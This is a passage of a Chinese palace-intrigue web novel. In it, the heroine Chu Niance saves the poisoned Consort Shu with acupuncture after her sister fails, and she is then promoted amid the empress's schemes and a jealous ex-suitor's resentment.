端木清羽像是突然想起来,立刻从腰间取出一个香囊,紧紧贴在鼻下,深吸了几口气,脸色才缓和些许。
蔺皇后适时上前,温声劝道:“陛下,这儿血气重,别冲撞了您,不如先回宫歇着,淑妃妹妹这儿有臣妾照应。”
“不必,”端木清羽握着香囊,摆了摆手,“朕就在这儿看着。”
皇后也不坚持,转身扶起淑妃,语气平和:“妹妹别急,既然你觉得不对劲,那就请内医来瞧瞧,看到底是怎么回事。”
淑妃靠在绿翘臂弯里,身子微微发抖,不知是气的还是怕的。
说罢,她瞥了一眼身后侍立的楚舜卿。
楚舜卿会意,眼底漫过一丝喜色。
来了……自己的机会来了。
就是现在,淑妃娘娘来月事。
前世她不但来了月事,还突然出现了腹痛,抽筋等病症,后来自己没有办法帮她止疼,淑妃疼得承受不住,多亏章太医过来止了疼,才救了一命,但由于淑妃被章太医救治的过程中,看了身子,自己被淑妃打了廷杖,还从此被淑妃恨上。
这一世。
她已记住了章太医为她下针的穴位。
一定要改变这个命运,获得皇后和淑妃的信赖。
正想着,淑妃果然已疼浑身发颤,几乎站不稳,连绿翘都扶得吃力。
楚舜卿见状正要上前搀扶,不料楚念辞已抢先一步,托住了淑妃另一只手臂。
楚念辞指尖似无意地搭上淑妃腕间……
脉象浮涩而乱,这确是月事之兆,却绝非正常而至,倒像被大量寒凉之物生生催下来的……
甚至,脉底还隐着一丝凝滞,似有**之象。
楚舜卿气得咬碎银牙。
姐姐,这种时候你还要和我争。
你捣什么乱呀?
但大庭广众之下,她又不敢发火。
只得狠狠瞪了她一眼,默默站在旁边,从小宫女手中接过药箱,取出手枕与绢帕,覆在淑妃腕上细诊。
片刻后,她低头禀道:“淑妃娘娘……这确是月事。”
“绝不可能!”淑妃厉声道。
绿翘凑到她耳边低声说了几句。
淑妃抬眼看向楚舜卿,目光如冰刃:“你可想清楚了再说,本宫的月事本该在十日后,你虽是皇后亲点的女内医,但竟敢诬本宫身上不洁……你可知这是什么罪?”
她语气森然,每个字都透着戾气。
又转头娇滴滴地冲着陛下哭诉:“陛下,这女内医分明是胡说八道,陛下为嫔妾做主。”
“别慌,爱妃,”端木清羽扫了眼她裙摆上的血渍,冷锐吩咐一名小太监,“去,传章太医过来,等会孰是孰非,便知分晓,爱妃少安毋躁。”
楚舜卿听完淑妃与皇帝的话,吓得扑通跪下,在地上直哆嗦。
她刚才可是亲眼见识了这位淑妃的手段和脾气,连皇后都不得不让她五分。
要是真把她惹恼了,当场被发落甚至丢了性命,到时候恐怕连皇后也保不住自己。
楚舜卿压住心慌意乱,偷偷朝蔺皇后投去求助的眼神。
“楚内医不必害怕,”蔺皇后适时开口,安慰道,“是什么便说什么,若你拿不准,等会儿和太医
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一同参详,这也不是什么大过。”
这话让楚舜卿定了定神,连忙回道:“淑妃娘娘,臣女虽才疏学浅,但月事之症还是辨得清的,确实是月事来了,您若实在不信,可再请御医来诊。”
淑妃目光闪了闪,朝身边的椅子上徐徐坐下。
“那你倒是说说,我的月事为何会提前?”淑妃冷声问。
“月事紊乱所致。”楚舜卿伏低身子答道。
“你这话不对,”绿翘忽然插话,“娘娘向来月事极准,怎么进宫才几天就紊乱了?你既是内医,说说到底怎么回事?”
殿内众人闻言,纷纷看向楚舜卿。
她脸颊涨红,只能低声道:“臣女……不知。”
“废物!”淑妃眯起眼,“这也不知那也不知,要你何用?皇后娘娘竟也被你蒙骗,让你这样的庸人做了女内医,陛下还请细查,肯定有什么违禁之物,让臣妾提早来了月事。”
楚舜卿嘴唇发颤,脸色煞白,指尖死死地抓住地摆……淑妃骂自己的话都和前世一模一样。
她不敢抬头辩驳。
众妃一时有点慌乱,各自交头接耳,小声议论。
“查,去查,”端木清羽沉着一张脸,脸庞犹如一块毫无温度的玉石,道,“把淑妃玉坤宫彻底查一遍,看看有什么违禁之物,还有这里的每一个人都不许走,都给朕查一遍。”
说这话时,他未疾言厉色,字字沉缓,反倒含着一股让人无可辩驳的气势。
敬喜闻言立刻退了出去。
众嫔妃全低着头,噤若寒蝉。
谁也不敢再私下议论。
生怕招惹上了陷害淑妃的嫌疑。
半个时辰之后,去查玉坤宫的太监回来禀报,说是没有任何违禁物。
过了片刻,现场众妃与器物也查过了,没有任何不妥之物。
“到底是怎么回事?”淑妃咬着牙,不甘道。
淑妃锋利的目光如刀子般扫过殿内每一个嫔妃。
所有人默默低下头,无人敢接她的话。
淑妃还想开口……
“啊……”淑妃一开口却忍不住呻吟。
一阵阵的胃部开始感到坠痛,仿佛有什么东西在里面翻搅似的,她脸色发白,额上渗出冷汗,整个人瞬间虚脱,她只觉得下面一阵潮涌,低头一看,裙下竟已漫开一大片血迹。
众妃顿时色变,便是傻子也能看出来……这哪是来月事,分明是血崩啊……
第34章 楚念辞决定出手
淑妃一张脸白得像纸,人软软地就要往下倒,绿翘忙上前扶住主子。
端木清羽眉头紧锁,神色凝重。
“快,扶淑妃到后面榻上去!”蔺皇后急声吩咐,“楚内医,你先施针止血!”
屏风后确实有张贵妃榻。
宫女们手忙脚乱地将淑妃搀过去,刚安置好,门帘就被掀开了……
御医章炎培匆匆赶到。
章太医年近六十,历经两朝,是太医院里资历最深、医术最精的,平日专门伺候皇上的脉。
他极熟练地低着头趋身而入,眉眼不抬跪地叩首:“臣听闻中宫有急症,特来请脉。”
“免礼,”端木清羽立刻道,“快去给淑妃看看。”
“是……”章太医刚刚站起来……
“不……不行……”屏风后就传来淑妃的阻止声,她蜷着身子,手死死按着小腹,疼的声音发颤,还在不断恳求,“嫔妾……嫔妾让女医看就好……”
残存的理智让她明白,痛处正在肚子上,若在男御医面前宽衣解带,往后她还怎么在宫里做人?还怎么侍奉陛下?
不……就算是死她也不愿在清羽哥哥面前如此丢人。
端木清羽见她坚持,只好改口:“楚舜卿,你去施针,不计一切代价保住淑妃的命,章太医,你先在此候着。”
“是。”楚舜卿磕了一个头,深吸一口气,取出针囊,走到屏风后面。
她心里暗暗奇怪,前世淑妃只是腹痛,没有血崩啊,这到底是怎么回事呢?
但幸亏自己记得清楚,章太医就是在几个穴位下针止住了疼。
有这重保障,她心里慢慢有底了。
她在淑妃手腕、膝侧几处穴位落针……
可十几息过去,血不但没止住,反而涌得更急了。
“怎么会……”她指尖开始发颤,换了几处穴位再刺,依旧不见效。
楚舜卿额角渗出冷汗,心里越来越慌。
这出血又急又猛,根本不像寻常月事。
可前世章太医明明就是这样扎的,为什么现在不行?
肯定有什么东西,和前世不一样。
如此……便只好用几个危险的穴位,试着能不能止住血崩。
众目睽睽,她不敢露怯,只能强装镇定,可手里的金针却控制不住地微微发抖。
她轻轻掀开淑妃的小衣,露出白皙柔软的腹部。
“快啊……”淑妃攥紧绿翘的手,痛呼不止,“本宫肚子……像被刀绞一样……”
“你还愣着干什么?赶紧下针啊!”绿翘急得声音都变了调。
楚舜卿额头的汗越冒越多,汗水冲开脸上敷的粉,在麦色肌肤上划出一道道浅痕。
她捏着针,手却稳不下来。
慌慌张张又几针下去,淑妃不但没好转,反而叫得更凄厉了。
端木清羽俊脸沉如水,站起来,开始来回踱步。
他看着屏风里边映着灯光的星眸子如冰海,表面还算平静,但也潜藏着意味不明的澎湃的暗涌。
蔺景瑞此时正趴在大殿外的台阶下……他刚挨了二十板子。
里面的对话听不真切,但知道是楚舜卿在施针,淑妃一声比一声惨的呻吟,却清清楚楚传到他耳朵里。
他脸色渐渐发僵。
楚舜卿不是总说自己是妇科圣手吗?
怎么连个月事出血都止不住?
他又想起母亲常吃的药丸,那也是楚念辞从前调的方子,楚舜卿至今都配不出一模一样的……
她……她莫不是医术粗陋?
想到这儿,他嘴里像硌了一把沙子,又涩又沉。
当初想娶她,很重要的一个原因,就是看中她的才情和那股不服输的韧劲。
他总觉得她像石缝里钻出来的草,自信而坚强。
他一心盼着能与她并肩前行,共谋前程。
可现在……他心里某些曾经坚固的东西,好像在一点点裂开,慢慢塌陷下去。
“你让开,章太医呢……”绿翘一把推开楚舜卿,忍不下去了,冲出屏风,扑通跪在陛下面前,脸色惨白,“陛下,楚内医是庸医,怕是不行啊……得请御医来!”
端木清羽好看的眉峰深深紧蹙。
“陛下……”蔺皇后犹豫开口,“淑妃千金之体,岂能让男子近身诊治?若真被看了身子,往后还如何侍奉皇上?陛下,您看……”
绿翘哭着叩头:“陛下,求您救救淑主子!”
“不……不要御医……”屏风后传来淑妃虚弱却坚决的声音。
楚舜卿又一针落下。
“啊~娘啊~”淑妃痛极厉呼,吓得众妃子汗**皆竖。
绿翘慌忙又奔了回去。
“人命关天,怎可因循守旧,”端木清羽声音沉静,眼底却透出锐利的光,“爱妃,你与朕自幼相识,情同兄妹,你该明白,朕不会因此嫌弃你,让太医看看吧。”
“不要……”淑妃虚弱的声音传了出来,“清羽哥哥,你若让男医进来,臣妾情死在这儿……
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”
端木清羽深不见底的眼睛,精致斜飞的眼角,也挑出一丝无可奈何的弧度。
楚念辞看着地上斑驳的血迹,脑子里嗡嗡作响。
一个高位嫔妃,眼看就要在她面前**。
管,还是不管?
管了,万一救不回来,这罪名很可能就扣在自己头上。
淑妃若是真没了,陛下就少了一大文臣势力的支持,朝中武将相争的局势会更难平衡。
况且如今她与皇帝已是同一条船上的人,一荣俱荣,一损俱损。
若陛下势弱,太后与皇后势力抬头,以蔺皇后的行事作风,自己绝对会被清理掉。
只有救下淑妃,或许还有转机。
再说了,如果救下淑妃。
还可以立功,既然自己求的是前程。
危机亦是机会。
俗话说,富贵险中求。
既然进宫求的是富贵,就该承担相应的风险。
她不再犹豫,上前跪在端木清羽面前:“臣妾略通医术,愿尽力一试。”
端木清羽目光落在她身上,眼底闪过一丝微不可察的思量。
他知道楚念辞与楚舜卿是姐妹,会些医术不奇怪。
可眼下连楚舜卿都束手无策,楚念辞又能有多少把握?
若不让她试,淑妃真出了事,自己确实难以向宰相交代。
而蔺皇后此时微微眯起了眼……
楚念辞自己跳出来找**。
她也知道楚氏姐妹应该都会一点医术。
但她从不认为一个女子,医术能高到哪里去?
这催经药确实是自己下的。
但是她只想让淑妃失去侍寝的机会,也不知道是谁,在中间使了什么手段?
让淑妃血崩。
楚念辞若不出头,今日这事本牵扯不到她。
可她若动了手又救不回来,那进掖庭局受审都算是轻的。
这不正是将她彻底按下去的机会?
皇后心念至此,面上带着一丝焦急,侧脸对皇帝轻声道:“陛下,眼下这情形……或许只能让她试试了。”
端木清羽看向楚念辞,眸色深沉如海,看不出情绪,缓缓道:“你可想清楚了,若你插手却治不好,便不只是进冷宫那么简单,恐怕得去掖庭局交代清楚。”
这话是提醒,也是警告。
楚念辞抬头迎上皇帝的目光,清晰地答道:“臣妾明白,愿尽力一试。”
“好吧,”端木清羽眼底掠过一丝幽微的光,“那你去吧。”
第35章 越级晋封慧常在
楚念辞快步走到屏风后,只见淑妃脸色苍白地躺在贵妃榻上,已是气若游丝。
楚舜卿额角生汗正跪在一旁,一手里拿着金针,一手沾着鲜血,满脸的慌张。
看见楚念辞进来,她先是一愣,随即抹了一把汗。
冷笑道:“想立功也不是这么个方法,别逞能不成,净赶着找死投胎。”
自己知道章太医的下针之处,都没有止住血,就凭她?
也想和自己抢功。
“逞能的是你,”楚念辞看都没看她,一把她推到一边,“一边去,别在我眼前碍事。”
楚舜卿咬牙切齿,正想反击回去。
忽心头一动。
虽知道这个姐姐懂些医术,可闺阁女子那点本事,治治头疼发热还行,这种要命的情形哪能应付?
当初那张时疫方子,虽然是偷拿了她的,也是靠自己反复推敲才成的……
说到底,还是自己医术更扎实。
淑妃自己已没把握救回来,有人愿意顶上来当替罪羊,岂不是正好?
这样一想,她冷哼一声,干脆侧身让开,低声道:“治不好可别连累我,别说我是你妹妹。”
楚念辞没接话,上前轻轻托住淑妃的手腕,指尖搭上脉去。
“你……你敢碰本宫?”淑妃费力地睁开眼,一见是她,眸子里满是恼火与质疑。
只是,由于气血两亏,妩媚锐利的眼神已经没有了威慑力。
绿翘急得在旁边直喊:“大胆!快放开娘娘!来人啊……”
可皇后的人守在外面,挡住淑妃宫中人,没人能进来。
再说陛下也允准了,谁也不敢动。
楚念辞拿起金针,嘿嘿冷笑两声:“喊够了没有?再嚷下去,臣妾手一抖扎错了地方,淑妃娘娘的命可就没了。”
绿翘瞬间噤声。
屋里只剩淑妃微弱而嘶哑的喘息声。
淑妃眼中怒意已变得软绵绵,她干脆恨恨地闭上双眼。
楚念辞的手指仍搭在淑妃腕上,感觉到脉搏比刚才更弱了。
是中毒。
但这毒下得急,手法也仓促。
若是做得周全,本不该这么快发作,更不会被诊出异常。
只是下毒之人伪装病症手法巧妙,心思狠毒,查遍了大殿竟没有找出了毒物。
谁有这么大的胆子,当满宫嫔妃的面下手,而且能做到完美脱身。
兼之淑妃之前催经益母草剂量也极重,两者合在了一起,造成了立即发作。
如果自己不救,淑妃必将血崩而亡,与急症猝死几乎无异,就算御医来了,也查不出什么端倪。
迷雾重重,总觉得有一只手,在背后掌控着这一切。
就算淑妃这次能活下来,往后怕是也难再生育了。
楚念辞自信自己金针和对症的方子,长期调理,时时守在身边,或者可以痊愈。
不过,她与淑妃虽无冤无仇,可也谈不上什么交情。
没必要为了她去调养身体。
自己肯定忽视了什么,疏漏了什么,以至于就像隔着一团迷雾,看不清真相。
对手太狠毒狡猾,不过,现在不是纠结查出凶手的时候。
现在救人要紧。
心念一定,她缓缓吸了口气,看了看楚舜卿下针之处,嘴角浮现出一丝冷笑。
虽然庶妹也请了名师,但她从来不肯刻苦练习。
学东西只是一知半解。
要知道,即使是同样的位置,用什么样的针,扎多深。
都是极有讲究的,哪怕是偏了一丝一毫,深了一寸一分,都会产生不同的效果。
楚舜卿下的针的位置是对的,但不是浅了,就是深了。
没把人扎出毛病,真要感谢上苍。
她取出金针,对准天泉、百会……几处要穴稳稳刺入。
针尖微旋,深浅交替,指尖力道匀稳地透进肌理。
不过十几息的功夫,淑妃原本急促的喘息便渐渐平缓下来,渗出的血也慢慢止住。
一旁捧着药箱的小宫女忽然低呼:“血……血止住了!”
听到血止住了,屏风外的人都松了口气。
片刻后,淑妃悠悠睁开眼,端木清羽捂着鼻子率先走进来,皇后与妃嫔也跟着围了过去。
端木清羽轻声问:“爱妃,现在觉得如何?”
淑妃眼神涣散了好一会儿才渐渐清明,声音虚弱:“陛下,刚才……嫔妾是不是差点死了?到底怎么回事?”
众人脸色微变,淑妃果然第一时间开始追查凶手。
蔺皇后立刻接话安慰:“别胡思乱想,你福泽深厚,定能逢凶化吉,刚刚不是已经说了,是经期不调。”
淑妃没接她的话。
再傻她也知道,自己刚刚差点就没命了。
她目光缓缓扫过身旁的人,低声向端木清羽道:“陛下,让她都别围这么紧,臣妾有点喘不上气。”
端木清羽挥挥,妃嫔们忙退出屏风。
淑妃咳了几声,额上又渗出冷汗,却忽然抬眼转向楚念辞:“慧选侍呢?”
她虽也嫉妒楚念辞的容貌,可刚才是这人救了自己。
眼下,殿里唯一能信的反倒是她。
“本宫究竟得了什么病?”淑妃紧接着追问。
殿中所有妃嫔都屏住呼吸,目光齐齐落在楚念辞身上。
蔺皇后和楚舜卿最为紧张……这话若答不好,必会引淑妃疑心,甚至牵连到她们。
楚念辞没有立即回答他的话,而是转头看了一眼端木清羽。
只见他修长优美眼睫微冷,手指缓缓摩挲着手中的玉扳指。
见他并不发话。
楚念辞瞬间明白,他并没有准备深查。
“是月事紊乱所致的淋沥不止。”楚念辞恭敬行礼道。
淑妃眼中虽然没有全信,但也不好再说什么。
只叹口气往榻上靠去。
蔺皇后暗暗松了口气,朝夏冬递了个眼色。
夏冬忙出去唤宫女进来,几人利落地为淑妃整理好衣袍,连人带贵妃榻一起稳妥地抬到了殿外。
“请娘娘伸手,容微臣再把一次脉。”一旁的章太医连忙上前诊脉。
淑妃又问了一遍病情。
“确是月事紊乱所致,”章太医收回手,恭敬回道,“娘娘身体底子好,好生调理,少则数日,多则一月便可恢复。”
他在宫里伺候了两代人,早已是个人精。
方才在外头就听见楚内医的诊断,皇后也没异议。
宫里的规矩,一旦有人先下了论断,太医院上下只有一个舌头。
淑妃这才微微放心:“那便劳烦章太医开方吧。”
她目光转向楚念辞,神色有些复杂。
没想到这狐媚子还真有点本事,竟比那个楚内医强了不止一星半点。
自己从来赏罚分明,于是淑妃随意地抬手:“今日倒是多亏慧选侍了,来人,把本宫那只翡翠绞丝镯赏给她,再从库房里挑些料子一并送去吧。”
绿翘应声,很快便有宫人端着锦盘送到楚念辞面前。
楚念辞抬眼看去,那镯子通透如碧水,确是上品。
她脸上立刻露出惊喜之色,恭恭敬敬双手接过:“谢淑妃娘娘赏赐。”
众嫔妃看得眼热……
谁不知道淑妃眼高于顶,前几日赏各宫的不过是寻常绸缎,能得她一件首饰,往后在宫里日子也能稳当些。
端木清羽神情微缓,开口道:“慧选侍临危不乱,救淑妃有功,朕当赏罚分明,即日起,晋为常在。”
坤宁宫内顿时一静。
众人皆露讶色……未侍寝便越级晋封,实属罕见。
蔺皇后上前一步,躬身劝道:“陛下,按宫规妃嫔须侍寝后方可晋位,慧选侍尚未侍寝,此时晋封恐引六宫非议,不如待日后……”
端木清羽侧目扫她一眼。
端木清羽斜了她一眼,他这双眼睛能撩人,更能化刀剑,而且完全不需要其他部位配合。
蔺皇后自然也是个老练,谁知就再看了一眼,脊背就微微发凉。
“皇后是愈发懂规矩了,”他声音平淡,“但若有功不赏,后宫岂非要说朕处事不公?”
蔺皇后垂首默然。
淑妃见状,立时找到怼她机会,笑着接话:“慧常在既救了臣妾,莫说晋常在,便是贵人也是应当的。”
反正只要不到妃位,也威胁不到自己,乐得做个好人。
一旁紧张的沈斓冰这才暗暗松了口气。
嘉妃率先笑着贺喜:“恭喜慧常在。”
其他嫔妃虽然妒忌得眼睛都要滴血,但也都上前恭喜。
楚舜卿几乎不可置信地看着眼前的一切。
怎么会这样?
不应该是这样啊,前世明明章太医救下淑妃。
而自己明明记住了他的针法,为什么自己还是不行,而姐姐就成功了。
她盯着姐姐俏脸生春,指甲几乎掐进掌心……
这一切本该是她的!
她才是女内医,本来这世应该在皇后托举下,步步高升,成为唯一的女御医。
而姐姐应该烂死在冷宫里。
为什么,她都选择了和姐姐分道扬镳,走不一样的路。
还让姐姐出了风头,压过了自己。
楚舜卿垂下眼睑,却怎么也压不住脸上翻涌的嫉恨、恼火、还有一丝不甘的神情。
第36章 蔺景瑞的不甘与后悔
楚舜卿那满脸的嫉妒太明显,连淑妃都看得一清二楚。
想到刚才差点就被这人送了命,淑妃心头火起……就算没证据,可这废物是皇后的人,谁知道今日之事有没有皇后的算计?
动不了皇后,还动不了你一个小小内医?
她也不怕得罪一个小小内医。
更不怕因此得罪内医院。
这么个凭空冒出来的女人,除了皇后这个依靠,根本就没有根基。
她直直刺向楚舜卿,向端木清羽哀求:“陛下,要不是楚内医,本宫何至于受这番罪,求陛下,拖下去打十个手板,以儆效尤!”
楚舜卿顿时脸都吓白。
宫里打手板都是打右手,而她是靠右手吃饭的,这手板要是打废了,以后还怎么给人看诊?
蔺皇后连忙劝阻:“陛下,医术本就要慢慢积累,哪能一蹴而就?还是从轻发落。”
楚舜卿连忙跪下了。
她看向楚念辞,只盼她看在姐妹的身份上,帮忙求情。
楚念辞转过头,只当没看见。
就在刚才,自己这好妹妹还说让自己别连累他。
自己现在没有落井下石,已经是宽宏大量。
指望自己帮忙求情,她可没有那么傻缺烂好心。
楚舜卿手指紧紧蜷成一团。
殿中无人帮他求情,倒是章太医说了一句:“陛下,楚内医学艺不精,确实该罚,可若打了手板,往后便难再行针施药……恳请陛下宽宥。”
说到底,打了太医院的人,整个太医院脸上都无光。
端木清羽闻言,道:“既然章太医都开口,便改打左手,罚俸三个月吧。”
楚舜卿浑身一颤,还想开口。
中宫行刑的人已经上来,一边一个架住她,把她拖了下去。
淑妃含了片参,精神恢复了些……
话锋便又转向了皇后:“要说皇后姐姐看重的人,满宫里谁比得上楚内医这样的福气?既是皇后弟媳,又掌管宫中女眷的身子……”
她顿了顿,声音里透出冷意:“只这般医术,我是不敢再让她沾手了。”
这话一出,蔺皇后顿时成了众矢之的。
众妃嫔也心知肚明,可连淑妃都当众厌弃了,往后谁还敢找她诊治?
蔺皇后知她言辞不善,缓缓开口:“淑妃妹妹言重了,楚内医虽是我已故兄长的弟媳,却并非‘我的人’,况且她的职位也是陛下亲准的,妹妹若不放心,往后不传她便是。”
她话锋一转,语气温和却带着一丝力道:“只是妹妹如今身子需静养,这个月绿头牌暂且挂不上去了,这段时间还望好好休息,别为琐事烦心。”
这话里的意思再明白不过,你淑妃别再闹,眼下不能侍寝才是真格儿的。
淑妃脸色瞬间阴沉下来。
满宫上下,也只有皇后敢这样下她的面子。
可皇后说的却是实情……月事未净,至少是没法伺候皇上了。
其他妃嫔虽不敢表露,心里却都暗暗一喜。
就连冷淡疏离,一直都从未开口的悦嫔都露出了一丝喜色。
淑妃这座大山挪开了,谁的机会不多几分?
楚念辞垂着眼,脸上瞧不出什么,只静静地看着这场戏。
淑妃眼中现出怒气仿佛要凝结成的冰刀,怒气冲冲地扫过所有人的脸。
众人都低着头。
淑妃恨恨地哼了一声,但也是无可奈何。
她能够下皇后的面子,却不能违反宫中的规矩。
端木清羽拂袖而起,众人忙躬身,他摆了摆手:“谁先侍寝,皇后瞧着办,总得依宫中的规矩,朕也乏了,先回养心殿。”
众人连忙行礼躬身。
端木清羽走出坤宁宫,楚念辞忙随着他离去。
刚走出殿门,就看见蔺景瑞趴在玉阶下,臀部盖着一条白布。
两人视线一触,她清晰地看见他浓黑双眉紧紧皱起,眼底尽是浓郁的阴鸷和压抑的怒火。
这人。
果然就是见不得自己好。
楚念辞横了他一眼,转头跟上端木清羽的御辇。
坤宁宫内,众妃散去,只剩皇后,她命人将趴在春凳上的蔺景瑞抬了进来。
“姐姐,”蔺景瑞急切道,“念辞如今升了常在,再这样下去,陛下哪天说不定就她侍寝了,臣弟还怎么将她讨回来?您得赶紧想法子。”
皇后蹙眉:“景瑞,你还不死心?别再想了。”
“长姐,”蔺景瑞不甘地压低声音,“您也见了,念辞医术精湛,将她弄回来,对您也有助益。”
方才听见楚念辞晋封常在的消息,蔺景瑞在殿外几乎气结。
他越发悔恨……当初为何不强硬一些,留下她?
自从楚念辞入宫,他越发觉得当初的选择大错特错,悔得后槽牙都快咬碎。
“你……”皇后真想给他一巴掌,打醒这个弟弟,“景瑞,清醒些!她已是皇上的女人了,难道你让全家都遭殃了,才会放手吗?”
说着她掩口剧咳起来。
“长姐……”蔺景瑞欲言又止,最终不甘地抿紧嘴唇,手指紧紧地攥成一个拳头。
姐姐不帮自己,自己在想其他办法。
见他沉默,皇后以为他放弃,疲惫地松了一口气。
这时,楚舜卿挨了手板也走进来,抱着手进来。
两人一站一趴,一前一后垂首站着,中间隔了好几步远。
蔺景瑞见楚舜卿仍冷着脸,知道她还在为那晚的话怄气。
他不过问了句“他可曾得手”,何错之有?
她却觉得受了天大的侮辱,简直不可理喻。
她既不来和解,他也懒得贴上去。
皇后看着两人这般情状,暗叹一声。
她也觉察出楚舜卿医术有短板,可自己眼下无人可用,无论如何也得先托着他。
皇后揉了揉额角,倦声道:“本宫还要服药,便长话短说,你们既是自家人,万不可心生隔阂,俗话说,夫妻齐心其力断金。”
她看向蔺景瑞:“景瑞,你是男子,该大度一点,让着舜卿,听说家中近来拮据,本宫已从坤宁宫内帑拨了五千两,稍后你带回去度日,务必先治好母亲的病。”
蔺景瑞心中微微一沉。
姐姐在宫中的处境他是知道的,十分不易。
她刚当皇后不过一个月,月俸也就两三千两,即便把大婚时的赏赐全算上,手里也不过四五千两的体己。
在陛下面前不得宠,平时也没什么额外赏赐……这五千两,几乎是她全部的身家了。
他本想说不能收,可一想到府里眼下的状况……母亲吃药要钱,各处开销都大,父亲又不肯削减用度。
自己前些日子,还从太医院同僚那儿借了一千两。
话到嘴边,终究没能推辞。
如今实在也是没有办法,他躬身:“娘娘放心,臣等必当齐心,为娘娘分忧。”
皇后又转向楚舜卿:“舜卿,你名义上虽是我长兄之妻,但本宫心中有数,你需协助景瑞,管好内医院、稳住家宅,日后若有机缘,我自会替你安排。”
她语气缓了缓:“医术若有欠缺不必慌,平日可多向刘御医请教。”
刘御医是坤宁宫指派的首席御医,医术精深。
楚舜卿心中一动……若能得他指点,往后必有大益。
她清楚,唯有紧靠皇后这棵大树,自己才能站稳脚跟。
于是上前一步,敛衽行礼:“娘娘放心,臣女定与夫君同心协力。”
皇后这才露出些许笑意,又嘱咐了几句,便疲惫地摆了摆手,让他们退下。
二人离宫时,日头已经西斜。
出了丽正门,他们一同上了马车。
车轮辘辘向前,车内一片沉寂。
蔺景瑞趴在马车里,始终沉默着。
楚舜卿抱着红肿的左手,靠在马车上,也不说话,本以为有皇后的嘱咐,他总会先开口和解,谁知他竟一言不发,脸色还像被霜打过一般。
眼神阴贽得像天边的乌云。
这还是自己当初认识的那个温润如玉的世子爷吗?
她不由心里发毛,微微朝旁边躲了躲。
半晌,蔺景瑞终于忍不住道:“舜卿,家里纷扰嘈杂,我心绪不宁,那日说话太重,你不要放在心上。”
听他为那日说的揪心话道了歉,楚舜卿眼眶一红。
她咬了咬唇,问道:“那天事我早忘了,只是,想问你一句,你……今日见了姐姐,你是不是后悔了?”
蔺景瑞抬起头,看着她。
暮色透过车帘,映得她脸上脂粉有些斑驳,这张脸,说不出的疲惫平庸。
往日那股娇俏也不见,忽然想起楚念辞那张明艳夺目的脸,心头蓦地一刺。
想到就是她将念辞送进宫里,恨不得一脚把她踹下马车。
他狠狠地咬了咬嘴唇。
“你后悔了?”楚舜卿见他神色沉郁,颤声追问道,“你刚刚在宫里,你两眼就没离开过她。”
刚刚姐姐走出大殿,夫君两只眼睛死死盯住姐姐,就知道他旧情难忘。
男人都是这样,握在手中的时候不知道珍惜。
失去了反倒觉出好来。
想到此,她觉得手心痛,心更痛。
“你别瞎猜了,”蔺景瑞脸上已恢复了平静,“今日若不是念辞,你我都脱不了干系。”
楚舜卿一听这话,心疼变成气恼:“她不过是瞎猫碰上死耗子,若真有本事,当初怎不陪你去南诏?”
“你看,你又多想,”蔺景瑞皱了皱眉,“方才皇后娘娘的话你忘了。”
他顿了顿,道:“回去我便让母亲将中馈对牌交给你。”
楚舜卿脸色微白。
她好不容易才借故推了管家的事……承恩伯府如今就是个空架子,谁接谁烫手。
“可我从未管过家……”她立刻摇头。
这一刻,她几乎冲口想把怀孕的事说出来,但觉得如果说了,他会不会认为自己拿孩子来搪塞他。
“没管过可以学,母亲也愿意教你。”
“学自然能学,”楚舜卿语气软了下来,“当初我就说,该把姐姐的嫁妆扣下,如今府里没钱,叫我怎么管?”
蔺景瑞看着她,冷冰冰道:“当时的情况你也在场,连人都留不住,何况她的嫁妆。”
“我不是这意思,”她侧过身,不让他看见眼底的盘算,“我只是想,往后能一心为娘娘办事,不必为银子烦心。”
“节俭些总过得去,皇后娘娘刚给了五千两,又不是揭不开锅。”
楚舜卿这才蹲下身子抱住他,轻声问:“那这些钱也交给我支用吗?”
蔺景瑞看见她眼底一闪而过的光亮,忽然觉得心头发凉,索然无味。
心中冷笑,原来她嫁给自己不过是为了荣华富贵。
既如此,自己便也不用再顾忌她,只是她是楚念辞亲妹,少不得陪着她装一装。
“放心,”他淡淡地说道,“总不会让你空手管家。”
楚舜卿将头靠在他肩上,脸上终于露出笑容:“夫君,我相信你,一定能发达,不会让我过苦日子。”
蔺景瑞脸色瞬间阴沉下去,眼底酝酿着汹涌的怒意,仿佛一头潜伏的凶兽。
深黑俊美眉睫尽是阴贽。
但只一瞬,他脸上又恢复了平静。
毕竟是她的亲妹,相信留着她会很有用处。
第37章 陛下初寝权与淑妃挖的坑
楚念辞随端木清羽回到养心殿,进门就脚步一拐,低头弓腰脚步匆匆地回来暖晴阁。
路上她都看见,陛下一路看自己的眼光不善。
俊眉微蹙,眸光犀利。
闯了这么大一个祸,她不跑还得着讨骂吗。
不料,没有等来端木清羽的排头。
倒是等来皇后,皇后、淑妃、嘉妃、沈澜冰与悦嫔派人送来了贺礼。
望着满桌琳琅的礼物,团圆和满宝跪了下来,喜道:“恭喜小主晋升常在,陛下疼惜您,皇后看重你,咱们往后也有好日子了。”
楚念辞看着那些东西,心中呵呵冷笑。
皇后不是看重自己,是忌惮自己。
端木清羽对待自己,分明只视作可有可无棋子。
她没那么天真,虽不能当出头鸟,她也得争取着第二个侍寝。
须在旁人彻底吸引端木清羽注意之前,让他心里有自己的位置。
不久,敬喜带着圣旨、赏赐和几名粗使宫女来到了暖晴阁。
“奉天承运,皇帝诏曰:选侍慧氏,温婉端庄,救人有功,朕心甚悦,即日起晋为正六品常在,钦此!”
“常在,请接旨吧。”敬喜笑容满面地说道。
楚念辞领着阁中宫人谢恩:“谢吾皇万岁万岁万万岁。”
随后,团圆给敬喜及随行太监都送了赏银。
敬喜接过银子,笑呵呵又道:“恭喜慧常在,陛下心里惦记着您呢,特意让奴才从私库里挑了几套衣裳头面送来,奴才可少见陛下这样将哪位娘娘放在心上……”
团圆与满宝等人听了,更是欢欣不已。
楚念辞脸上流露出惊喜与感动,心中却一片清明。
帝王宝库里有多少珍宝,这点赏赐,不足以令她感恩戴德。
想要在这深宫步步向上,最要紧的既有争宠手段,又要守好自己的心。
反正前世自己见过贵妇们怎么被男人哄,自己只要把那些话拿过来。
喂给端木清羽就行,男人能用,她凭什么不能?
她始终记得自己的誓言:只求荣华富贵,不求一丝真心。
第二日,吃完午膳后,她便到碧纱厨里小憩,温暖的冬日暖阳照在脸上,她一觉睡到夕阳西下。
端木清羽一般下朝后会批一下午奏折,晚膳后才会叫她过去。
她迷迷糊糊中,就闻到一股熟悉的馥郁甜香……
张开眼,团圆已摆了一桌的零食,蜂蜜花生、核桃粘、翠玉豆糕、其中最特别的是龙须酥。
这是江南的美食……
